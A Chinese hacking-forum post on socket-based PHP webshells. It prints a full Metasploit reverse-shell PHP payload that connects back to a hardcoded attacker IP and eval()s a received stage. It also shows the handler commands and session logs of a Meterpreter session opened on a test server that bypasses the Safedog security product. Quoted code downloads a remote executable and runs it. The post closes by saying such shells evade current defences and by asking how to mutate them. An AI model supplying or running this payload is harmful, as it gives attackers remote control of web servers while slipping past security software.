感谢y3p投递

0×01 前言 

常规的webshell都是调用该语言中习惯函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式:socket通信。 

常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中: 

msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha1.php

生成的php_webshell: 

#<?php 
error_reporting(0); 
# The payload handler overwrites this with the correct LHOST before sending 
# it to the victim. 
$ip = '192.168.1.5'; 
$port = 2013; 
$ipf = AF_INET; 
if (FALSE !== strpos($ip, ":")) { 
  # ipv6 requires brackets around the address 
  $ip = "[". $ip ."]"; 
  $ipf = AF_INET6; 
} 
if (($f = 'stream_socket_client') && is_callable($f)) { 
  $s = $f("tcp://{$ip}:{$port}"); 
  $s_type = 'stream'; 
} elseif (($f = 'fsockopen') && is_callable($f)) { 
  $s = $f($ip, $port); 
  $s_type = 'stream'; 
} elseif (($f = 'socket_create') && is_callable($f)) { 
  $s = $f($ipf, SOCK_STREAM, SOL_TCP); 
  $res = @socket_connect($s, $ip, $port); 
  if (!$res) { die(); } 
  $s_type = 'socket'; 
} else { 
  die('no socket funcs'); 
} 
if (!$s) { die('no socket'); } 

switch ($s_type) { 
case 'stream': $len = fread($s, 4); break; 
case 'socket': $len = socket_read($s, 4); break; 
} 
if (!$len) { 
  # We failed on the main socket.  There's no way to continue, so 
  # bail 
  die(); 
} 
$a = unpack("Nlen", $len); 
$len = $a['len']; 

$b = ''; 
while (strlen($b) < $len) { 
  switch ($s_type) { 
  case 'stream': $b .= fread($s, $len-strlen($b)); break; 
  case 'socket': $b .= socket_read($s, $len-strlen($b)); break; 
  } 
} 
# Set up the socket for the main stage to use. 
$GLOBALS['msgsock'] = $s; 
$GLOBALS['msgsock_type'] = $s_type; 
eval($b); 
die(); 
?>

0×02 实例 

本机      (192.168.1.5)  : win03+msf+ie 

测试服务器(192.168.1.108): win03+apache+safedog 

设置相关模块: 

msf > use multi/handler 
msf  exploit(handler) > et PAYLOAD php/meterpreter/reverse_tcp 
[-] Unknown command: et. 
msf  exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp 
PAYLOAD => php/meterpreter/reverse_tcp 
msf  exploit(handler) >  set LHOST 192.168.1.5 
LHOST => 192.168.1.5 
msf  exploit(handler) > set LPORT 2013 
LPORT => 2013 
msf  exploit(handler) > exploit -j 
[*] Exploit running as background job.

使用浏览器访问木马地址(假设我们已经上传到目标机): 

http://192.168.1.108/sha1.php

成功返回一个Meterpreter session: 

msf  exploit(handler) > 
[*] Started reverse handler on 192.168.1.5:2013 
[*] Starting the payload handler... 
[*] Sending stage (39217 bytes) to 192.168.1.108 
[*] Meterpreter session 2 opened (192.168.1.5:2013 -> 192.168.1.108:1052) at 2013-01-08 20:13:52 +0800 
msf  exploit(handler) > sessions -l 
Active sessions 
=============== 
  Id  Type                 Information            Connection 
  --  ----                 -----------            ---------- 
  2   meterpreter php/php  SYSTEM (0) @ WIN03SP0  192.168.1.5:2013 -> 192.168.1.108:1052 (192.168.1.108) 
msf  exploit(handler) > sessions -i 2 
[*] Starting interaction with 2... 
meterpreter > sysinfo 
Computer    : WIN03SP0 
OS          : Windows NT WIN03SP0 5.2 build 3790 (Windows Server 2003 Enterprise Edition) i586 
Meterpreter : php/php 
meterpreter >

如图,phpspy.php安全狗正常拦截,sha1.php正常运行: 


然后我们可以执行诸如ls列目录,ps查看进程信息等命令。 

0×03 分析 

在0×02中在获取的Meterpreter sessions中我们使用 

meterpreter > execute -f c:\\sha1.exe

这个命令来执行可执行文件,如图所示: 


def php_exec_file 
    exename = Rex::Text.rand_text_alpha(rand(8) + 4) 
    dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) 
    shell = <<-END_OF_PHP_CODE 
    if (!function_exists('sys_get_temp_dir')) { 
      function sys_get_temp_dir() { 
        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } 
        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); } 
        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); } 
        $tempfile=tempnam(uniqid(rand(),TRUE),''); 
        if (file_exists($tempfile)) { 
          @unlink($tempfile); 
          return realpath(dirname($tempfile)); 
        } 
        return null; 
      } 
    } 
    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe"; 
    $fd_in = fopen("#{datastore['URL']}", "rb"); 
    $fd_out = fopen($fname, "wb"); 
    while (!feof($fd_in)) { 
      fwrite($fd_out, fread($fd_in, 8192)); 
    } 
    fclose($fd_in); 
    fclose($fd_out); 
    chmod($fname, 0777); 
    $c = $fname; 
    #{php_preamble({:disabled_varname => dis})} 
    #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} 
    @unlink($fname); 
    END_OF_PHP_CODE 

    #return Rex::Text.compress(shell) 
    return shell 
  end

0×04 总结 

这种方式执行的webshell,一般的安全防护软件应该还没对此进行监控与防御。大概原因在于这种方式的webshell的利用不是那么方便。但是如果哪位大神有好用的工具,这种webshell还是不错的。 

0×05 问题 

1.是否有安全软件对这种shell有防护效果 
2.这种shell本身是否有什么缺陷 
3.如何防这种shell 
4.如何变形 
5.more..
源链接

Hacking more

...